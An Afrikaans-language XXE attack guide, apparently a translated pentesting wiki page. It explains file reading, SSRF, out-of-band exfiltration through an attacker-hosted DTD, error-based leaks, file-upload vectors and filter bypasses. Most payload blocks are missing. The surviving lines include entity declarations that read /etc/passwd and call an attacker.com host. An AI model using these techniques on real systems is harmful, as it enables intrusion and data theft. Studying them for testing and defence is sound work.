XXE - XEE - XML External Entity
XML Basiese Beginsels
XML is 'n opmaaktaal wat ontwerp is vir dataopberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naametikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. XML se belangrikheid het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
Dataverteenwoordiging deur Entiteite: Entiteite in XML stel die verteenwoordiging van data in staat, insluitend spesiale karakters soos
<
en>
, wat ooreenstem met<
en>
om konflik met XML se etiketsisteem te vermy.Definiëring van XML Elemente: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
Dokumenttipe-definisie (DTD): DTD's is van kardinale belang in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat lei hoe dokumente geformateer en gevalideer word.
Pasgemaakte en Eksterne Entiteite: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame dataverteenwoordiging. Eksterne entiteite, gedefinieer met 'n URL, wek sekuriteitskwessies, veral in die konteks van XML Eksterne Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databronne hanteer, benut:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
XXE Opsporing met Parameter Entiteite: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk weens parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
Hoofaanvalle
Nuwe Entiteit toets
In hierdie aanval gaan ek toets of 'n eenvoudige nuwe ENTITEIT verklaring werk.
Lees lêer
Kom ons probeer om /etc/passwd
op verskillende maniere te lees. Vir Windows kan jy probeer om te lees: C:\windows\system32\drivers\etc\hosts
In hierdie eerste geval, let op dat SYSTEM "**file:///**etc/passwd" ook sal werk.
Hierdie tweede geval behoort nuttig te wees om 'n lêer te onttrek as die webbediener PHP gebruik (nie die geval van Portswiggers-laboratoriums nie)
In hierdie derde geval let op dat ons die Element stockCheck
as ANY verklaar.
Gidslys
In Java gebaseerde toepassings mag dit moontlik wees om die inhoud van 'n gids te lys via XXE met 'n payload soos (net die gids vra in plaas van die lêer):
SSRF
'n XXE kan gebruik word om 'n SSRF binne 'n wolk te misbruik
Blind SSRF
Met die voorheen kommentaar gelede tegniek kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat XML entiteite nie toegelaat word nie, in daardie geval kan jy probeer om XML parameter entiteite te gebruik:
"Blind" SSRF - Exfiltreer data uit-band
In hierdie geval gaan ons die bediener laat laai 'n nuwe DTD met 'n kwaadwillige payload wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit via _ftp://_ te exfiltreer deur hierdie basiese bediener te gebruik, byvoorbeeld xxe-ftp-server.rb). Hierdie verduideliking is gebaseer op Portswiggers laboratorium hier.
In die gegewe kwaadwillige DTD word 'n reeks stappe uitgevoer om data te exfiltreer:
Kwaadwillige DTD Voorbeeld:
Die struktuur is soos volg:
Die stappe wat deur hierdie DTD uitgevoer word, sluit in:
Definisie van Parameter Entiteite:
'n XML parameter entiteit,
%file
, word geskep, wat die inhoud van die/etc/hostname
lêer lees.'n Ander XML parameter entiteit,
%eval
, word gedefinieer. Dit verklaar dinamies 'n nuwe XML parameter entiteit,%exfiltrate
. Die%exfiltrate
entiteit is ingestel om 'n HTTP versoek na die aanvaller se bediener te maak, wat die inhoud van die%file
entiteit binne die navraagstring van die URL oor dra.
Uitvoering van Entiteite:
Die
%eval
entiteit word gebruik, wat lei tot die uitvoering van die dinamiese verklaring van die%exfiltrate
entiteit.Die
%exfiltrate
entiteit word dan gebruik, wat 'n HTTP versoek na die gespesifiseerde URL met die lêer se inhoud aktiveer.
Die aanvaller huisves hierdie kwaadwillige DTD op 'n bediener onder hul beheer, tipies by 'n URL soos http://web-attacker.com/malicious.dtd
.
XXE Payload: Om 'n kwesbare toepassing te benut, stuur die aanvaller 'n XXE payload:
This payload definieer 'n XML parameterentiteit %xxe
en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die ekfiltrasie van die /etc/hostname
-lêer na die aanvaller se bediener.
Foutgebaseerd (Eksterne DTD)
In hierdie geval gaan ons die bediener dwing om 'n kwaadwillige DTD te laai wat die inhoud van 'n lêer binne 'n foutboodskap sal wys (dit is slegs geldig as jy foutboodskappe kan sien). Voorbeeld hier.
' n XML-parsing foutboodskap, wat die inhoud van die /etc/passwd
-lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:
'n XML parameterentiteit genaamd
file
word gedefinieer, wat die inhoud van die/etc/passwd
-lêer bevat.'n XML parameterentiteit genaamd
eval
word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML parameterentiteit genaamderror
inkorporeer. Hierdieerror
entiteit, wanneer geëvalueer, probeer om 'n nie-bestaande lêer te laai, wat die inhoud van diefile
entiteit as sy naam inkorporeer.Die
eval
entiteit word aangeroep, wat lei tot die dinamiese verklaring van dieerror
entiteit.Aanspreking van die
error
entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die/etc/passwd
-lêer as deel van die lêernaam insluit.
Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:
Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd
file.
Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die tweede (eval
) in te sluit, maar dit is verbode in die interne DTD. Daarom kan jy nie 'n fout afdwing sonder om 'n eksterne DTD te gebruik (gewoonlik).
Foutgebaseerd (sisteem DTD)
So wat van blinde XXE kwesbaarhede wanneer uit-baan interaksies geblokkeer is (eksterne verbindings is nie beskikbaar nie)?
'n Gaping in die XML-taal spesifikasie kan sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng. Hierdie probleem maak die interne herdefinisie van entiteite wat eksterne verklaar is, moontlik, wat die uitvoering van foutgebaseerde XXE-aanvalle vergemaklik. Sulke aanvalle benut die herdefinisie van 'n XML parameter entiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers op plaaslike DTD-lêers staatmaak om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer by /usr/local/app/schema.dtd
bevat, wat 'n entiteit genaamd custom_entity
definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die /etc/passwd
lêer onthul deur 'n hibriede DTD soos volg in te dien:
Die uiteengesette stappe word deur hierdie DTD uitgevoer:
Die definisie van 'n XML parameterentiteit genaamd
local_dtd
sluit die eksterne DTD-lêer in wat op die bediener se lêerstelsel geleë is.'n Herdefinisie vind plaas vir die
custom_entity
XML parameterentiteit, oorspronklik gedefinieer in die eksterne DTD, om 'n fout-gebaseerde XXE exploit te kapsuleer. Hierdie herdefinisie is ontwerp om 'n ontledingsfout uit te lok, wat die inhoud van die/etc/passwd
lêer blootstel.Deur die
local_dtd
entiteit te gebruik, word die eksterne DTD geaktiveer, wat die nuut gedefinieerdecustom_entity
insluit. Hierdie reeks aksies lei tot die vrystelling van die foutboodskap wat deur die exploit gemik is.
Werklike wêreld voorbeeld: Stelsels wat die GNOME-bureaubladomgewing gebruik, het dikwels 'n DTD by /usr/share/yelp/dtd/docbookx.dtd
wat 'n entiteit genaamd ISOamso
bevat.
Aangesien hierdie tegniek 'n interne DTD gebruik, moet jy eers 'n geldige een vind. Jy kan dit doen deur die dieselfde OS / sagteware te installeer wat die bediener gebruik en sommige standaard DTD's te soek, of deur 'n lys van standaard DTD's binne stelsels te gryp en te kontroleer of enige van hulle bestaan:
For more information check https://portswigger.net/web-security/xxe/blind
Vind DTD's binne die stelsel
In die volgende wonderlike github repo kan jy paaie van DTD's wat in die stelsel teenwoordig kan wees vind:
Boonop, as jy die Docker beeld van die slagoffer stelsel het, kan jy die hulpmiddel van dieselfde repo gebruik om die beeld te skandeer en die pad van DTDs wat binne die stelsel teenwoordig is, te vind. Lees die Readme van die github om te leer hoe.
XXE via Office Open XML Parsers
Vir 'n meer diepgaande verduideliking van hierdie aanval, kyk na die tweede afdeling van hierdie wonderlike pos van Detectify.
Die vermoë om Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde die parser in staat te stel om die data uit die sigblad te onttrek, sal dit onvermydelik ten minste een XML-lêer moet parse.
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n Microsoft Office-lêer te skep wat 'n XXE-payload bevat. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontpak kan word.
Sodra die dokument ontpak is, moet die XML-lêer geleë by ./unzipped/word/document.xml
geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir versoeke te vervang.
Laastens kan die lêer gezip word om die kwaadwillige poc.docx-lêer te skep. Vanuit die voorheen geskepte "ontpakte" gids, moet die volgende opdrag uitgevoer word:
Nou kan die geskepte lêer na die potensieel kwesbare webtoepassing opgelaai word, en 'n mens kan hoop vir 'n versoek om in die Burp Collaborator-logs te verskyn.
Jar: protocol
Die jar protokol is eksklusief beskikbaar binne Java-toepassings. Dit is ontwerp om lêertoegang binne 'n PKZIP argief (bv., .zip
, .jar
, ens.) moontlik te maak, wat beide plaaslike en afstandslêers dek.
Om toegang te verkry tot lêers binne PKZIP-lêers is baie nuttig om XXE via stelsels DTD-lêers te misbruik. Kyk hierdie afdeling om te leer hoe om stelsels DTD-lêers te misbruik.
Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-protokol behels verskeie stappe:
'n HTTP-versoek word gemaak om die zip-argief van 'n spesifieke ligging af te aflaai, soos
https://download.website.com/archive.zip
.Die HTTP-antwoord wat die argief bevat, word tydelik op die stelsel gestoor, tipies in 'n ligging soos
/tmp/...
.Die argief word dan onttrek om toegang tot die inhoud te verkry.
Die spesifieke lêer binne die argief,
file.zip
, word gelees.Na die operasie word enige tydelike lêers wat tydens hierdie proses geskep is, verwyder.
'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperk oop te hou wanneer die argief lêer bedien word. Gereedskap beskikbaar by hierdie repo kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (slow_http_server.py
) en 'n Java-bediener (slowserver.jar
).
Die skryf van lêers in 'n tydelike gids kan help om 'n ander kwesbaarheid wat 'n pad traversering behels, te verhoog (soos plaaslike lêer insluiting, sjabloon inspuiting, XSLT RCE, deserialisering, ens.).
XSS
DoS
Biljoen Lag Aanval
Yaml-aanval
Kwadratiese Blowup Aanval
Verkryging van NTML
Op Windows-gasheer is dit moontlik om die NTML-hash van die webbediener gebruiker te verkry deur 'n responder.py handler in te stel:
en deur die volgende versoek te stuur
Then you can try to crack the hash using hashcat
Verborgen XXE Oppervlaktes
XInclude
Wanneer kliëntdata in server-kant XML-dokumente geïntegreer word, soos dié in agtergrond SOAP-versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die wysiging van die DOCTYPE
element. 'n XInclude
aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs 'n gedeelte van die data binne 'n deur die bediener gegenereerde XML-dokument beheer kan word.
Om 'n XInclude
aanval uit te voer, moet die XInclude
naamruimte verklaar word, en die lêerpad vir die beoogde eksterne entiteit moet gespesifiseer word. Hieronder is 'n bondige voorbeeld van hoe so 'n aanval geformuleer kan word:
Check https://portswigger.net/web-security/xxe vir meer inligting!
SVG - Lêeroplaai
Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevatte lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
Wanneer gebruikers beelde oplaai, word hierdie beelde bediener-kant verwerk of gevalideer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
'n Voorbeeld van so 'n uitbuiting word hieronder getoon, waar 'n kwaadwillige SVG-beeld probeer om stelsellêers te lees:
'n Ander metode behels die poging om opdragte deur die PHP "expect" wrapper uit te voer:
In beide gevalle word die SVG-formaat gebruik om aanvalle te loods wat die XML-verwerkingsvermoëns van die bediener se sagteware benut, wat die behoefte aan robuuste invoervalidasie en sekuriteitsmaatreëls beklemtoon.
Kyk na https://portswigger.net/web-security/xxe vir meer inligting!
Let daarop dat die eerste lyn van die geleesde lêer of van die resultaat van die uitvoering BINNE die geskepte beeld sal verskyn. So jy moet in staat wees om toegang te verkry tot die beeld wat SVG geskep het.
PDF - Lêer opgelaai
Lees die volgende pos om te leer hoe om 'n XXE te benut deur 'n PDF lêer op te laai:
PDF Upload - XXE and CORS bypassInhoudstipe: Van x-www-urlencoded na XML
As 'n POST-versoek die data in XML-formaat aanvaar, kan jy probeer om 'n XXE in daardie versoek te benut. Byvoorbeeld, as 'n normale versoek die volgende bevat:
Dan mag jy in staat wees om die volgende versoek in te dien, met dieselfde resultaat:
Content-Type: Van JSON na XEE
Om die versoek te verander, kan jy 'n Burp-uitbreiding genaamd “Content Type Converter“ gebruik. Hier kan jy hierdie voorbeeld vind:
Nog 'n voorbeeld kan hier gevind word.
WAF & Beskerming Omseilings
Base64
This werk slegs as die XML-bediener die data://
protokol aanvaar.
UTF-7
Jy kan die ["Encode Recipe" van cyberchef hier ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) transformeer na UTF-7.
File:/ Protocol Bypass
As die web PHP gebruik, kan jy in plaas van file:/
php wrappersphp://filter/convert.base64-encode/resource=
gebruik om interne lêers te toegang.
As die web Java gebruik, kan jy die jar: protocol nagaan.
HTML Entities
Truk van https://github.com/Ambrotd/XXE-Notes Jy kan 'n entiteit binne 'n entiteit skep deur dit met html entities te kodifiseer en dit dan aan te roep om 'n dtd te laai. Let daarop dat die HTML Entities wat gebruik word numeries moet wees (soos [in hierdie voorbeeld](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
DTD voorbeeld:
PHP Wrappers
Base64
Onttrek index.php
Onttrek eksterne hulpbron
Afgeleë kode-uitvoering
As die PHP "expect" module gelaai is
SOAP - XEE
XLIFF - XXE
Hierdie voorbeeld is geïnspireer deur https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsprosesse oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaar-geassisteerde Vertaling) gereedskap.
Blind Request Analise
'n Versoek word aan die bediener gemaak met die volgende inhoud:
However, this request triggers an internal server error, specifically mentioning a problem with the markup declarations:
Despite the error, a hit is recorded on Burp Collaborator, indicating some level of interaction with the external entity.
Out of Band Data Exfiltration Om data te eksfiltreer, word 'n gewysigde versoek gestuur:
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Opgemerkte beperking met hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
Error-Based Data Exfiltration Om hierdie beperking te oorkom, word 'n Error-Based benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te aktiveer wat data van 'n teikenlêer insluit:
Die bediener reageer met 'n fout, wat belangrik die nie-bestaande lêer reflekteer, wat aandui dat die bediener probeer om toegang te verkry tot die gespesifiseerde lêer:
Om die lêer se inhoud in die foutboodskap in te sluit, word die DTD-lêer aangepas:
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitvoer wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML External Entity) aanval, wat beide Out of Band en Error-Based tegnieke benut om sensitiewe inligting te onttrek.
RSS - XEE
Geldige XML met RSS-formaat om 'n XXE kwesbaarheid te benut.
Ping back
Eenvoudige HTTP-versoek na die aanvallers se bediener
Lees lêer
Lees bronkode
Gebruik PHP base64-filter
Java XMLDecoder XEE na RCE
XMLDecoder is 'n Java-klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n kwaadwillige gebruiker 'n toepassing kan laat gebruik maak van arbitrêre data in 'n oproep na die metode readObject, sal hy onmiddellik kode-uitvoering op die bediener verkry.
Gebruik van Runtime().exec()
ProcessBuilder
Tools
References
Trek inligting via HTTP met eie eksterne DTD: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
Last updated